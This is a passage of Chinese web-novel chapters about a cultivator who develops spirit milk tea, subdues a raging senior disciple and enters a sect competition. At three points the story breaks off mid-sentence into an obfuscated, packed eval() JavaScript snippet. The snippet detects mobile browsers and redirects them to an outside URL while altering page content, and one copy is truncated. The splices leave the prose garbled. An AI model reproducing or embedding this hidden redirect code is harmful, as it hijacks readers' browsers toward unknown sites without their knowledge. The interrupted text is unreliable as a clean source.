见苏烟枝满脸愧疚地垂下头,乌以灵拍拍她一紧张就习惯性绞在一起的手,安慰道,“别自责,那只是块茶叶而已。” 乌以灵见她还是有些过意不去,便把手里的糖罐递给她,“来帮我炒糖吧,炒出焦糖色就好了。” 苏烟枝立马接过糖罐,认真照做。 而乌以灵则切下小半块苍玉翎,她静静凝视着这小块乳白色茶晶体,又想到了这几天的无数次实验。 再试一次吧,万一这回就成功了呢? 13. 芝士葡萄(三) 翻炒成琥珀色的焦糖,飘逸着馥郁馨香的牛乳,还有在沸水间沉浮起落的苍玉翎。 滚烫的茶水是陌生的浅绯色,在氤氲热气里散发着红茶的醇香与睡莲的清甜,杂糅在一起的味道曼妙轻盈,没有缘由地让人联想到沉寂了千万的苍玉江,彼时天光乍破,碧色江水自重重群山间蜿蜒而过。 乌以灵这几天的实验尚且停留在普通茶叶阶段,因为这个世界的茶叶种类实在太多太多了。它们不依赖种植技术,自身凝结灵力即可形成,所以天地之大,开出什么品种的茶叶也不稀奇。像是基础的花茶就有好几百种,什么茉莉栀子薄荷玫瑰都很正常,还有睡莲紫荆美人蕉这些闻所未闻的。更遑论什么红茶绿茶白茶,这些下面的细细分支得有上千种不止。 而混合茶叶又是把它们随机排列组合,花茶和花茶,花茶和绿茶,绿茶和红茶……总之再这样算下来不知道得算到猴年马月。 乌以灵甚至还托人去千机阁借了本《茶经》回来,这东西比她之前的用的现代汉语词典还厚,字更是比蚂蚁小。乌以灵挑灯看了半宿,第二天不仅脑子晕了眼睛还险些保费了,几天下来都快不认识“茶”这个字了。 撇开那层神乎其神的传说,苍玉翎在组成上其实算不得特殊,也只是普通红茶和睡莲的混合茶叶。 但乌以灵没有尝试过混合茶叶,她打算先从苍玉翎身上下手试一试。 煮好的茶水缓缓倒入锅中,小火慢煮下锅里很快咕咚咕咚泛起细密的白沫,乌以灵用铲子搅拌几下,苍玉翎的独特香味和甜美的奶味逐渐交织在一起,小小的石屋里满是温暖醇厚的香甜气息。 苏烟枝眼睛眨也不眨地蹲守在锅边,就差把哈喇子流锅里了。 安慈抱着手臂端详着乌以灵的操作,一时间屋里寂静得只能听见火焰偶尔噼啪的轻响,以及锅里茶水翻滚悠远绵长的声音,让人忍不住口水吞咽。 “时间到了。” 乌以灵收住灵火,拿起旁边的木勺照例舀起一勺。 她想,要是依然失败那就继续试下去吧。 总会成功的。 加入苍玉翎的奶茶和普通奶茶在味道上没有什么区别,同样的醇厚甜美,只是在浓墨重彩的茶香与奶味里多了些许睡莲的清雅,但若不仔细品尝还真的尝试不出来。 但是在奶茶入口后不久,神奇的事情发生了。 因为熬夜与耗费心神而疲惫沉重的身体,居然逐渐变得轻盈起来,这种感觉和灵果奶茶所带来的灵力增长的效果截然不同。 它没有增加身体里的灵力,只是像流水一样缓缓洗涤着身体里积累的疲惫,像是静水深流般,柔和而富有力量。让人有如置身于苍玉江的绿水青山间,看着江畔人家涉江采芙蓉,看着天边飞鸟略过群山。一时间忘却疲惫,竟有如脱胎换骨。 乌以灵眼睛豁然变亮。 “成功了!” “真的?”苏烟枝迫不及待地拿起勺子同样舀起一勺。 片刻之后,她不可思议地放下勺子,紧紧拉住乌以灵的手,“和灵果带来的效果完全不一样,太神奇了!” 另一边安慈也放下了勺子,他原本有些疲惫的脸上此时满是红光,“真的!完全不一样!太神奇了!” 苏烟枝摸着下巴,不由得开始思考它背后的逻辑,“它没有提升灵力,但也能让人感觉到放松,这是为什么?苍玉翎也不是很特殊,难道只是因为它是混合茶叶?” 这个问题确实值得思考。 以乌以灵对于奶茶的基本逻辑,奶茶对于灵力的提升是因为食材本身,以此类推眼前虽然没有提升灵力,但特殊的功效无疑也是来源于食材本身。 那其间蕴含的规律是什么? 乌以灵忽然抓住苏烟枝的手臂,“还有没有其它混合茶叶?” “有,有的。”苏烟枝见她神色匆匆,连忙弯腰从柜子里报出十几包茶叶,“都在这了。” 乌以灵目光扫过这些茶叶的名字,飞快从中挑了几包拆开。 安慈凑上前观察,发现里面有有薄荷和茉莉,有玫瑰和红茶,有绿茶和栀子,乍一看似乎没有什么规律。 为了更省时间,乌以灵甚至没有开锅,只是拿水冲开茶叶后三两下倒进不同的杯子里,然后迅速倒入分量不同的牛乳,再熟练地凝冰结块,大小不一的冰块哐当哐当掉进杯中。 待挨个尝过之后,乌以灵的面色逐渐舒展,她放下最后一个杯子,认真道,“我明白了,此处的关键确实在于原料必须是混合奶茶,但对于具体功效起决定性作用的,是其中没有占据主导地位的茶叶。” 见其余两人似乎没有听明白,乌以灵便把桌上的奶茶递给他们,待他们品尝之后才继续解释,“这里的催化剂依旧是茶叶和牛乳,外力条件也依旧是摇杯撞奶,但起到具体作用的是在此之外相对没有那么明显的另一种茶叶。比如最初的睡莲,又比如茉莉和薄荷里的薄荷,红茶和玫瑰里的玫瑰,绿茶和栀子里的栀子。他们对应的效果也不一样,像是能让人仿佛置身流水的是睡莲,让人神清气爽的是薄荷,让人心神安宁渴望入睡的是栀子。” “通俗来说,这里的催化剂在制作过程里已经耗尽了所有灵力,但那味味道相对浅淡的茶叶没有,它因为没有在茶叶冲泡里占据主导地位所以保留了灵力,又因为催化激发出了全部灵力,直到最后呈现在效果里。” “所以说,确实是混合茶叶发挥了至关重要的作用。至于要如何判断具体是什么样的呈现效果,只需要摸清楚混合茶叶里哪一部分没有占据主导地位即可。” “原来如此。”苏烟枝恍然大悟,目光里流露出些许憧憬,“混合茶叶的种类无穷无尽,既然掌握了这个方法,我们岂不是可以制作无数种奶茶?” 乌以灵肯定地点点头,“是这样的。” “大比在即,小乌你打算带哪种奶茶去参赛呢?”安慈看着桌上第五种奶茶,忽然问道,“前些日子买的灵果还没有用,现在又研发出了全新的品种,全部都要带去吗?” “果茶可以多挑几种,毕竟‘零消耗高回报’的名头说出去也好听。”乌以灵也难得有些面露难色,“那奶茶带…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179998|180905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “就带苍玉翎吧。”苏烟枝忽然开口。 安慈忙问:“为什么?” 苏烟枝笑嘻嘻地捏起剩下半块苍玉翎,“忘了这东西是哪里来的啦?这可是我们除魔拿到的,首先在意义上就不一样。” “其次……”苏烟枝故意卖关子,“你们难道不知道在这种比赛里那些长老们最喜欢什么吗?” 这倒把乌以灵和安慈问住了,两人异口同声,“什么?” “情怀呀!” 苏烟枝俏皮地眨眨眼,“当然是卖卖情怀啦,你看你看,倒时候大比的时候我就说这个奶茶是红茶和睡莲的混合茶叶不稀奇,但我说它是苍玉翎所制,这不就把噱头拉满了?先用它拉一波注意,然后再说其实苍玉翎其实只是普通的茶叶,但是千百年里有无数人为它丧命,还引发苍玉江的滔天怨念,甚至诞生魔物祸乱人间。 “所以由此升华主题,不要贪恋镜花水月的虚幻之说,擅于牢牢把握住手里的东西才是真实的。” “这样下来,噱头有了,还能赚个脚踏实地一心向道的名声。”苏烟枝越说越兴奋,“虽然不太厚道,但起码结果是好的,我们得到了名次,长老得到了情怀,而且还能借机把苍玉翎的秘密借大比告知天下,让苍玉江不再被寻宝者与战乱破坏,这样不是还从根源断绝了魔物的形成?一举三得好吧,完美!掌声在哪里?” 安慈艰难地吞咽着口水,半晌才道,“奸商啊奸商。” 苏烟枝龇牙,抢过锅铲哐哐砸他,“放屁,这明明叫聪明机智无人能敌!” 乌以灵思虑片刻,却是很认真地表示赞同,“我认为烟枝说的很有道理,我们确实可以用苍玉翎作为走向大比的敲门砖,卖东西本来就要宣传造势,不宣传怎么会有人驻足?这种时候越是大胆越是离奇地噱头才能吸引人,但离奇也不能离谱,我空口白牙说我的作品可以提升灵力没有人会信。但我若掏出本就存在于千年传说里的苍玉翎,就必然会有很多人抱着看乐子的心态看两眼,我们抓住的就是这两眼。” 安慈挠着脑袋,讷讷开口,“好吧,没想到苏烟枝你有时候还挺靠谱。” 苏烟枝哼哼道,“我什么时候不靠谱?早说了我是聪明伶俐美少女。” 今天距离大比还剩下不到三天。 大部分材料已经准备妥当,施了术法存放在石屋里,就等着比赛当天取出来。 日光斜洒在桌上,乌以灵又再次确定了一遍大比之前的准备工作。 灵果已经按照名字和功效收纳好了,奶茶的制作流程也最终确定下来了,基本的糖和牛乳已经放入了柜子,并没有什么欠缺了。 乌以灵想,是该再去忙些其它事情了。 眼见大半个月快溜走了,而距离穿肠人再次毒发也只剩不到十天。 眼下除了在石屋里,她几乎时时刻刻处于晏山青监视下,乌以灵根本不能带着偷偷存下的药渣去找人研究。 那么,那就去拜访一趟晏山青吧,不知道他的头痛发作了没有。 如果有就再好不过了。 14. 芝士葡萄(四) 宗门大比前三天学宫会正式宣布暂停课业,给予参赛弟子充分的准备时间,而不参赛的弟子可以选择观赛或者告假回家。虽说玉音宗鲜少准许弟子返乡,但多数人仍然不愿意错过这场宗门盛事,毕竟崭露头角名满天下的机会可不多,而宗门大比无疑是其中最快捷最保险的一个了。 不过这和往年的食修弟子是没有什么关系的,他们想着与其去大比上自讨没趣,倒不如留几天时间回家探望亲人。 但今年显然不一样,他们在沉寂数年后再次参加宗门大比,并且赌上了积攒多年所有的期望。 夕阳西下时,乌以灵才再次回到学宫。 她讶异地发现本该早就人去楼空的学宫此时仍然热闹非凡,有忙着洒扫清理的,有三两成队装饰门楣的,还有围在一处修缮器具的。众人忙得热火朝天,原本老气破败的学宫在他们手里居然也奇迹般焕然一新。 乌以灵拉住身边正往门上涂绘的师姐,“师姐,这是在干什么?” 师姐擦擦额头上的汗,“诶小乌你回来了,我们在布置学宫呀。大比的时候可能会有其它修系弟子过来围观。我们这里总不能太寒酸,平白叫人看轻了吧?所以趁着现在有时间多收拾收拾。” 乌以灵点点头,“辛苦师姐师兄们了。” 师姐笑眯眯地摆摆手,“这算什么,平时窝在这儿一坐就是一天,骨头都僵了,现在刚好活络活络。小乌你要是忙完了就先回去吧,这几天好好休息,别累着了。” 乌以灵本想留下帮忙,却被师姐们合伙推了出来,反复叮嘱她不要管这些小事,交给她们做就好了。 乌走出学宫外那条羊肠小路时,乌以灵心里仍然不可避免地泛着感动。 但这种感动在看到小路尽头的青衣男人时戛然而止。 正好,还省了我亲自去找他。 乌以灵知晓晏山青是来冲自己而来,于是走快两步在他身前停下,主动开口问候,“好这些日子不见晏师兄,是外出除魔了吗?” 半晌没有听见回答,乌以灵心觉不对劲,正欲抬头一探究竟。 就在这时,一股大力猛然攫住她的脸颊。 乌以灵踉跄两步,猝不及防撞在晏山青身上,这股不容抗拒的力量迫使她仰起头来,电光石火间,乌以灵错愕地对上了晏山青赤色的眼睛。 不对劲! 血色残阳下,晏山青脸色惨白有如恶鬼,那双眼睛里是她从来没有见过的暴戾狂躁,像是在极力压抑着什么,但又因为濒临极致,连掐着乌以灵的手也在微不可查地颤抖着。他周身环绕着让人浑身战栗的陌生灵力,这股灵力狂躁汹涌,让靠近他的乌以灵呼吸困难,额间很快渗出细密的汗珠。 “晏师兄!” 乌以灵不确定眼前的晏山青怎么了,她双手用力捶打着晏山青的手臂,试图以此让晏山青清醒过来。但他仿佛浑然未觉,甚至于手中力道更甚,痛得乌以灵几乎以为颧骨碎裂。 若是他的手偏一点,正好掐在脖子上…… 这个认知让乌以灵头皮发麻,寒气瞬间顺着脊背爬上来。 平日伪装得天衣无缝的晏山青虽然危险,但尚有谈判周旋的余地。但要是面对的是眼前这样毫无理智可言的疯子呢? “晏师兄,可是……头疾犯了?”乌以灵拼尽全力,一字一句地艰难出声,“我……我可以帮你……” “哐当——” 天旋地转间,眼前景色一黑。乌以灵猛地摔落在地,她头脑发晕地勉强支起上半身,大口大口喘着气。甫一抬头,便冷不丁对上了一对深不见底的空洞眼眶。 镶嵌着宝石的头骨七零八碎散落一地,最近的那个甚至就贴乌以灵手边。 这是晏山青的屋子! 乌以灵下意识往后缩,却又撞上了另一个更加冰冷坚硬的东西。 “师妹。” 暗哑宛如鬼魅的声音自身后传来,冰凉好似毒蛇的手臂环绕着她,丝丝缕缕的寒气沿着单薄的衣衫渗入骨缝。 乌以灵缓缓偏转过头,长发刮擦过耳廓,她动作艰涩地仰起脸,再次看见了从未见过的赤红色眼睛。眼里没有熟悉的温润笑意,没有惯常的高深莫测,有的只有野兽般的狂躁和狠戾,涣散的目光里没有焦点,好像只想地肆意撕咬着所有触手可及的东西。 是的,野兽。 无论是举止还是神情,晏山青现在这个状态绝对不是人。 脑中白光一闪而过,乌以灵几乎是在瞬间意识过来——这是个不可多得的机会。 “晏师兄,看看我。”乌以灵双手捧着晏山青的脸,将两人的距离拉到前所未有的近,“您还记得我,是吗?” 晏山青不知道有没有听懂她的话,缓缓点了点头,但很快又用力摇头。 “您记得我就好。”乌以灵没有理会他的回应,只是顾自道,“晏师兄,我知道您现在很不好受,我现在可以帮您,您愿意相信我的,对吗?” 她的声音柔和宁静,仿佛天生带着让人镇定下来的亲和力。 晏山青在她的诱导下,真的奇迹般松开了紧紧攥住她的手臂。 “多谢师兄配合。”乌以灵轻轻笑着,她重新捧起晏山青的手,“师兄且稍等片刻,我这就让您清醒回来,好不好?” 晏山青涣散的目光微动,似乎在某个瞬间抓回了一丝神智。 “好。” 乌以灵点点头,正欲转身去拿桌上的杯子和包里的灵果,脚步还没离开两步,却又被晏山青从后面紧紧环住。 乌以灵嘴角勾起抹意味不明的笑,她温声道,“师兄不想我走吗?” 晏山青没有回答,但乌以灵却明显感受到环住她的力道变得更大。 乌以灵从包里拿出条长长绸缎,那还是她裁围裙剩下的。她把绸缎的一端在手腕上打结,另一端则交到晏山青的手上。 “我现在要去帮您制作解药,但像这样我和师兄就绑在一起了。如果您有什么事情,随时可以扯动这条绸缎。” 说完之后,乌以灵又在晏山青面前示范了几遍,直到看见晏山青眼里的狂躁隐隐约约有平静下来的苗头,才放心地继续往桌边走。 但即使是这样,仍然是她走到哪里晏山青跟到哪里,几乎像是长在她身上了。 乌以灵在桌前驻足,正在她捣鼓手中的灵果时,却忽然侧目瞥见黄梨木桌上有块清晰的黑印,能明显探知到是用法力附着上去的。 是几个猫爪印。 乌以灵又看向身边无知无觉的晏山青,他似乎依旧被围困在某种不知名的困境里,陷入了诡异的狂躁和暴戾中,看这屋里满地狼藉,不难猜到他几乎是无差别的攻击着周围的东西。而此刻,他而唯一能感知外界的途径只有站在旁边的她。 乌以灵手中摇奶茶的速度逐渐加快。 她此时的心情却远没了最初的紧张惊恐,取而代之的是一种近乎轻快的愉悦。 晏山青,没想到你这样的人也会有弱点啊。 乌以灵在心里冷笑,自她来到这个世界起,晏山青永远是高高在上完美无瑕的样子,好似是被人供奉的神像。同门敬仰他又羡慕他,仿佛这个名字里含着什么让人镇定安心的魔力。 只有她阴差阳错看见了晏山青的另一面,残忍嗜血又心狠手辣。 她畏惧晏山青,但性命攥在他手里,所以不得不妥协归顺。可接连数次的交锋下来,她早已没有初来这个世界的畏手畏脚,起码她已经基本摸清楚了晏山青的性情,只要顺着他的心意走,便可暂时无虞。 而现在,她又一次抓到了晏山青把柄。 头疾所带来的痛苦远超乌以灵意料,它不仅无时无刻折磨着晏山青,甚至让他在某些情况下陷入狂躁的状态。 为什么晏山青即使这般癫狂丧失神智,也能凭着本能找到她呢? 是因为他潜意识里知道,只有乌以灵才能救自己。 师兄,看来你也远没有表现出来的那样镇定。 来势汹汹的头疾像是最为凶猛的野兽撕咬着晏山青的神智,只要他想保住自己在外风光霁月的假象,就不可能杀死自己。 原本乌以灵以为因为解药在晏山青手上,所以她离不开晏山青,晏山青在这场交易里处于高高在上的主导地位。但现在看来似乎并非如此,仙家名门正道之光般的大师兄,怎么可能容许自己苦心经营多年的完美形象破裂?晏山青远比她想的更加依赖自己,只有她能锁住他心里的困兽,维持住他那层体面的皮相。 既然知道晏山青根本离不开自己,那乌以灵便能借此把这个人牢牢握在手里。 看着晏山青一点点喝下她做好的灵饮,乌以灵逐渐偏开目光,她扫视着地上的那些头骨,忽然皱起眉头。 乍一看杂乱无章散落满地的头骨,在远处看起来……倒像是某种阵法。 乌以灵默默记下模样,没有再多看。 还有晏山青赤红色的眼睛…… 显然今天窥探到的谜团远比从前加起来的都要多,想起苍玉江那场暴雨里晏山青面对死尸傀儡时复杂的眼神,乌以灵隐约有了猜测。 随着晏山青把空杯子放在桌上,乌以灵再次看向他,只见这人眼里的赤红色不知何时已经褪去,恢复了熟悉的深黑色。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192661|180905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那双眼睛里有着乌以灵更加熟悉的冷意,以及几分潜藏在更深处的探究。 乌以灵像是善解人意般主动问道,“师兄好些了吗?” 晏山青却是稍微用力一扯,只见那条绑着两人的绸缎轻颤,乌以灵踉跄两步跌倒晏山青身前,又被他轻而易举地反扣住手腕。 “我这时应该说什么,多谢师妹相救?” 唇瓣开合时的气息再次擦过耳廓,乌以灵垂着眼,恭顺道,“不敢,只是我该做的罢了,谁让我的命在师兄手上,师兄可以随时来取。” “乌以灵,过去是我小看你了。”晏山青松开她,语气里的轻挑少了几分,在她面前似乎彻底放弃了伪装,隐藏在那层完美外皮下的冷血病态一览无余。 “你是不是觉得,自己又抓住了我的把柄,想以此威胁我?” 乌以灵抬眼,目光认真诚恳,“师兄怎会这样想?今日事出突然,我也只是做了应该做的。更何况我人微言轻,怎能对师兄构成威胁,师兄未免太看得起我了。” “不用把自己贬得一文不值。”晏山青手间灵力流转,那条绑着两人的绸缎随之掉落在地,又被毫不留情地碾过,“师妹聪慧冷静,是能担大事者。这才几天,就能让食修系那些人围着你团团转。就连李观水活了一把年纪,也和我感慨,你是他门下不可多得的天才。师妹何必妄自菲薄?” 他把“天才”两个字咬得极重,凭空多出些戏谑的意味。 “天才不敢当。”乌以灵语气不卑不亢地道出自己编好的瞎话,“过去我痴慕师兄,为了师兄来到玉音宗,也做出了许多不堪入目的事情。可经过那晚,我明白过来,师兄是天上明月难以企及,我也因此醒悟过来,从此专注于自己脚下的‘道’。所以从某种程度上,也正是师兄让我悬崖勒马。” 晏山青冷笑两声,忽然抬手。 乌以灵下意识躲避,却见他只是扯下了她长长的发带。 发带上碧蓝色的灵力流转,微光波动的倒影落在乌以灵眼中,她故意问,“师兄这是什么意思?师兄若是想知道什么为何不问?居然会出此下策?” “别装傻。”晏山青手中把玩着那条发带,无辜的发带在他手里被搓扁揉圆成各种形状,乌以灵觉得他是在暗指什么,“师妹早就发现了吧?发现我在你身上打下的千里眼咒决?师妹让我看见的东西,都是你想让我看见的,对吗?” “假的配方是为了扰乱我的眼线,规矩的生活是为了让我放松警惕,而你没有让我看见的,才是你真正的秘密。”晏山青顿了顿,又道,“师妹这般聪明,和我斗得有来有回,我很期待师妹接下来还会做什么?会报复我吗?就像你对待蒋卜同那样。” 算你有自知之明,乌以灵想。 虽然有些诧异自己的小动作被发现,不过她本来也没打算把这个反偷窥计划持续太久,毕竟晏山青也不蠢,时间长了总能看出端倪。但没想到晏山青这么警惕,居然这么快就察觉到了不对。 但她也不亏,横竖没让晏山青看到配方,目的已经达成了。 乌以灵静静看着晏山青,许久未发一言。 诡异的沉默在两人之间蔓延,但这种静默又仿佛恰到好处,似乎这是两个擅于伪装的人第一次坦诚相见,他们在沉默里肆意窥探着对方眼中的忌惮猜忌,却又在心里无比清晰地明白自己不能除掉对方。 忽然,一个沉甸甸的东西砸到乌以灵怀里。 她下意识接住,却见那是个硬邦邦的袋子。 “解药。”晏山青语气淡淡,甚至连平日里习惯性的微笑也不装了,“我没有言而无信。” “多谢师兄。”乌以灵略一拱手,“若是没什么事,我就不打扰师兄休息了。” 说完她也没管晏山青什么反应,转身就要离开。 晏山青没有阻拦她,只是缓缓收拢五指,将那根发带紧紧攥入掌心。 他过去从不记得乌以灵这个人,但是是什么时候开始,乌以灵这个名字在心里出现的次数越来越多,甚至自己在意识残存的最后那刻也是想着去找她…… 是那晚少女跪坐在地,抬头却露出一双陌生的眼睛。 从此之后,她的一举一动,都是在加深他对于这个名字的印象。 他有时想只是个达成目标的棋子罢了,又能翻出什么花来。 但更多时候,他想自己是应该忌惮她的,她手里掐着他致命的把柄,知晓他最不堪的一面,脑子里还有无数稀奇古怪的想法。 好得很,乌以灵。 晏山青想,这大概是千百年来,第一个让他不知道该从何下手的人。 15. 芝士葡萄(五) 再次见到晏山青,是在大比当天的留仙台上。 那时苏烟枝早早拉着她抢了个最好的位置,而这个位置正对着坐满了各修系长老的留仙台。 乌以灵抬眼时,正好对上晏山青的目光。 那人端坐于一众长老间,风度翩翩地对她微微一笑。 乌以灵:“……” 装货。 “小乌是好奇为什么晏师兄明明也是弟子,却坐在留仙台吗?”苏烟枝似乎是看出了乌以灵的疑惑,善解人意地解释道,“听说这两年剑修长老找了个恩爱的道侣,长老打算卸下担子,和道侣云游四海去。但他又放心不下剑修系,所以逐渐把手里的事过渡给关门大弟子,也就是晏师兄。他未来大概会成为新一任剑修长老。” 乌以灵点点头,她的目光缓缓扫过留仙台,忽然注意到正中间的位置上坐着个看起来不过七八岁的小孩子,满头银发如雪,神态却是老成庄重。 她有些奇怪地问,“那是哪位长老的孩子?” “我勒个……”苏烟枝吓得连忙捂住她的嘴,紧张地环顾四周,确定没有人听到她的话,这才压低声音耳语道,“小乌你入宗的时候是在梦游吗?什么小孩,那是宗主!玉音宗宗主!颜鹤子尊者!刚入宗时他不是亲自接见过我们吗?你一点印象也没有了?” 乌以灵大骇,不信邪地再次看过去,那孩童模样的颜鹤子尊者正百般无聊地抛着手里的琉璃珠玩,偶尔有人过来搭讪才说上两句。 “那他为什么要保持……” “可能是修为至高的人追求返璞归真吧。”苏烟枝耸耸肩,“这哪是我们这些普通弟子能揣测的,总之对宗主保持尊敬就好了。哦对了他手上的那个珠子看见了吗,那是菡萏珠,宗主会把它赐给每年大比里自己最看好的弟子,拿到它就稳了。” “在聊什么呢?” 安慈凭着身牛一样的蛮力挤到前排来,他手里提着两盒点心,“还没吃早饭吧,我刚去学宫里捣鼓了些,快吃吧。” 趁着苏烟枝往嘴里大口塞东西的功夫,安慈对身边的乌以灵第不知道多少遍重复着今天的行程,“首先上场的是剑修系,然后是符修,儒修,丹修,最后是我们食修。灵果和茶叶我已经装在储物袋里了,随时可以拿。小乌你不要紧张,我们都在你身后呢。” “好,多谢了。” 乌以灵也不知道第多少遍重复着这句话。 苏烟枝咽下最后一口点心时,场上已然人满为患。 玉音宗实际上由十几座高低错落的山峰组成,而大比的位置选在了往日不会开启的侧峰,这里通常是被选为秘境或者闭关地,只有在一年一度的宗门大比上才会热闹些。 “哟,我说是谁,这不是食修的?今年怎么舔着脸来参赛了?莫不是来给我们看笑话的?” 几道极为刺耳的声音在熙熙攘攘的人流里显得异常响亮。 不仅是乌以灵三人,甚至是来往弟子们也纷纷驻足看过来。 只见面前约摸七八人,腰间清一色挂着个葫芦。而方才发话的是个长脸少年,他声音尖锐至极,比起上次的蒋卜同有过之而不及。 “丹修的。” 安慈瞬间认出来这群人的身份,他拳头握得咯咯响,几乎克制不住立刻冲上前打他们一顿的冲动。 “不要和他们起冲突。”乌以灵按住神情急躁的安慈,又对面前几人遥遥开口,声音清亮足以让所以人听清楚,“是不是笑话一见便知,大比之前唱衰是何居心?是因为自己准备得不充分所以想从别人身上下文章吗?这伎俩未免过于低劣了些。” “你!”长脸少年听到有人质疑他,脸霎时气得通红,“你们食修不过是群饭桶,也敢和我们丹修叫嚣,真是反了天了!” “反什么天?谁要反了天了?”苏烟枝寸步不让,语速飞快地回怼,“我们堂堂正正参加比赛有什么不对?嘲笑我们是饭桶时敢问阁下又有何作为?是研制出了长生不老丹还是起死回生丸?又或是准备好自己在比赛上大放异彩为丹修争光了?若是一个没有,又有什么立场嘲讽我们认认真真准备参加大比的?” 长脸少年脸色红一阵紫一阵,他咬牙切齿地环视四周,发现聚起来的人越来越多,里面甚至还有几个资历较长的弟子,他生怕被捅到长老面前,只能愤愤甩袖,恶狠狠道,“我们走着瞧。” “走着瞧就走着瞧,说得谁怕你似的。” 苏烟枝一边嘟嘟囔囔一边捶身边依旧紧握拳头的安慈,“还有你,不要什么事都用拳头思考行不行?只有一两个我们能打的也就算了,人家那么多人,火拼怎么可能占优势?下次不许这样,听到没?” 安慈脸颊抽搐,良久之后才闷闷不乐道,“知道了。” “这丹修也是怪。”安慈看着留仙台的方向,忽然想到什么般开口,“丹修的梅长老是个多好的人,怎么手底下尽是些败类?前几年丹修还闹过低价丹药里参毒,害得人眼盲的事,那时就查出来丹修里有好些个好吃懒做贪污灵石的。” “是啊,怎么不算是好竹出歹笋呢?”苏烟枝给乌以灵指了个坐在宗主旁边的女人,那人乍看之下貌若无盐,五官淡得好像拿块布就能抹掉,但身上却又种极为奇妙的柔和气息,让人一见便心生好感。 “那就是丹修长老梅雪青,是个非常非常好的人,据说早年间还和李长老师出同门,只是后来修了不同道。她对我们食修没有偏见不说,还在创道之初帮了李长老不少。长老现在还和她关系很好呢。” 乌以灵正要说什么,却见头顶忽然飞过数群白鹤,雪色长羽略过黛色群山,鹤群之后是辗转盘旋的朱鸟,啼鸣清越,久久未绝。 原本喧闹的人群瞬间安静下来,千百双目光齐齐望向留仙台下。 只见剑修弟子宝剑上前,齐齐排开几列,只见剑锋森然凌冽,少年人衣袂翩飞。 苏烟枝眼尖地指了指为首的弟子,“诶那是林师兄吗?” 乌以灵循声看去,果然看见了一身凛然正气有如高岭之花的林昱南,少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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但现在剧情早就偏得亲妈不认了,女主苏烟枝至今对男主的印象还停留在“口吃的少年痴呆”,别说三角虐恋爱恨纠葛,几个人甚至根本不熟。 不过这样叛逆的剧情发展,倒是在无形间让两个倒霉的小女孩挣脱了原本悲惨的人生轨迹,她们一个在符修大放异彩,一个在食修自在逍遥。 又何尝不是桩好事呢? - 至于接下来的儒修和丹修依旧是老样子,儒修开场即好一番引经据典,从经天纬地辩到草木众生,直接把底下催眠了大半;丹修上前炼制丹药,更是直接从白日炼到傍晚,时间太长以至于把剩下小半也催眠了。 而也就是在全场昏昏欲睡的时候,轮到食修系上场了。 “走了小乌。” 安慈挎上打过补丁但洗得干干净净的背包,苏烟枝最后检查了一遍自己虽然有些发白但仍然干净整洁的衣服。 乌以灵深吸一口气,语气冷静依旧如常。 “好,我们走。” 16. 黑糖珍珠奶茶(一) 伴随着乌以灵三人上场的,还有台下毫不掩饰的嗤笑声。 尤其是在清乌以灵那张脸时,众人对食修的鄙夷更是再上一层楼。 派谁不好,非要派个撬开脑子一看全是怎么追到晏师兄的草包来。 但就好像最初在食修系向李观水展示时那样,乌以灵全当没有听见除了自己以外的声音。毕竟她始终明白,作为一个普通服务业人员,她所面对的从来是顾客而不是外界舆论,只要能讨顾客欢心,哪用管别人怎么说? “宗主,各位长老好,我们是食修系弟子。” 乌以灵在数十位长老面前落落大方地站定,望着面前一张张严肃或和蔼的脸,她有一瞬间想到了学生时代参加的大小演讲。 那时因为贫困和忙碌,她总是饿着肚子,整个人又瘦又小。套着丑陋宽松校服的她像个热水壶,被苦难的热水燎得心肺俱疼。冬日呵出的氤氲白雾则像是水壶边的热气,模糊了台下无数老师同学的面容,也模糊了饿得四肢发软大脑充血的麻木滋味。 思及此处,乌以灵的心态反而轻松了许多。 她露出职业而从容的微笑,声音清越有如淙淙泉水,语气里流淌着恰到好处的热情,“今日我们食修呈上新品种灵食两件,此物名为奶茶,由茶叶,牛乳,灵果制成。能够以最低的灵力输出达到最高的回报效果,我们将其称为‘零消耗高回报’灵食。” 话音落下,在满场昏昏欲睡的目光和起起落落的嘘声里,乌以灵取出了包中精心挑选的食材和器具。 只见乌以灵熟练地把黄澄澄的灵果扒皮,手起刀落间切成大小均匀的小块,留下小半放入碗中,剩下大半则放进不透明的圆柱状器皿里。随着安慈将灵力注入其中,灵果在瞬息之间被碾压成汁水,飘散着浓郁果香的淡黄色液体从器具一端缓缓倒入透明的琉璃盏中。 另一边苏烟枝则取出几袋小小的白色圆球倾倒入锅,待煮沸后才捞出这些变得透明的圆球。她从前没有见过这种东西,但听乌以灵说这是用木薯做的,叫西米。 乌以灵又拿出几个新鲜灵果,把它们剥皮切碎后放入琉璃盏中,再混合以牛乳与鲜榨的汁液,最后上下摇晃几下,让果肉与汁液充分交融而不沉淀在杯底。 解决完手里第一杯,乌以灵又拿出早已准备好的苍玉翎。 